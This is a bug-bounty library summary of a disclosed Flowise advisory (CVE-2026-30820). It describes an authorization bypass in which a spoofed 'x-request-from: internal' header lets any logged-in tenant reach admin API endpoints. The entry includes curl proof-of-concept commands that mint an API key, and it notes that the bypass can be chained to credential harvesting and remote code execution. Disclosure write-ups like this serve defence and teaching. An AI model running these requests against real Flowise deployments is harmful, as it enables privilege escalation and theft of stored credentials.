# Flowise has Authorization Bypass via Spoofed x-request-from Header

Flowise trusts the spoofable `x-request-from: internal` header, letting any logged-in tenant reach internal /api/v1 admin endpoints like API key creation and credential stores.

- Payout: Research
- Severity: high
- Program: Flowise
- Found by: N3mes1s
- Disclosed: 2026-03-06
- CVE: CVE-2026-30820
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-wvhq-wp8g-c7vq
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-wvhq-wp8g-c7vq
- Tags: area:web domain:api domain:web impact:privesc kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:access-control vuln:auth-bypass

**Target:** Node.js server global middleware guarding /api/v1 routes
**Root cause:** The /api/v1 auth middleware branches on the client-controlled header `x-request-from === 'internal'` and calls verifyToken instead of validateAPIKey, treating any cookie-bearing tenant as an internal client with no further permission checks.
**Steps:**
1. Log into Flowise 3.0.8 and capture session cookies: `curl -c /tmp/flowise_cookies.txt … /api/v1/auth/login`.
2. Send `curl -sS -b /tmp/flowise_cookies.txt -H 'Content-Type: application/json' -H 'x-request-from: internal' -X POST http://127.0.0.1:3100/api/v1/apikey -d '{"keyName":"Bypass Demo"}'`; server returns HTTP 200 with the new key object.
3. Repeat without the `x-request-from: internal` header; response is `{"error":"Unauthorized Access"}`, confirming the header alone gates access.
4. Reuse the same header against `/api/v1/credentials`, `/api/v1/tools`, `/api/v1/node-custom-function` for further privileged actions.
**How found:** Code review of the global middleware in `packages/server/src/index.ts:214` revealed the header-based branch that short-circuits API-key validation.
**Exploitation:** Any authenticated low-privilege tenant with a browser session cookie adds `x-request-from: internal` to reach internal admin APIs: mint new API keys, harvest stored credentials, and invoke custom function execution, escalating to full system compromise when chained with Custom Function RCE.
**Escalation:** Chaining the bypass with the Custom Function execution endpoint yields RCE on the host.
**Insight:** When a middleware branches on a request header to pick an auth path, check whether that header is client-settable and whether the chosen path skips the stricter check (API key vs cookie) — here `x-request-from: internal` downgrades to cookie-only verifyToken.

## Proof of concept (copied exactly from the original report)

**Spoofed header creates API key**

```
curl -sS -b /tmp/flowise_cookies.txt \
      -H 'Content-Type: application/json' \
      -H 'x-request-from: internal' \
      -X POST http://127.0.0.1:3100/api/v1/apikey \
      -d '{"keyName":"Bypass Demo"}'
```

**Same request without header denied**

```
curl -sS -b /tmp/flowise_cookies.txt \
      -H 'Content-Type: application/json' \
      -X POST http://127.0.0.1:3100/api/v1/apikey \
      -d '{"keyName":"Bypass Demo"}'
```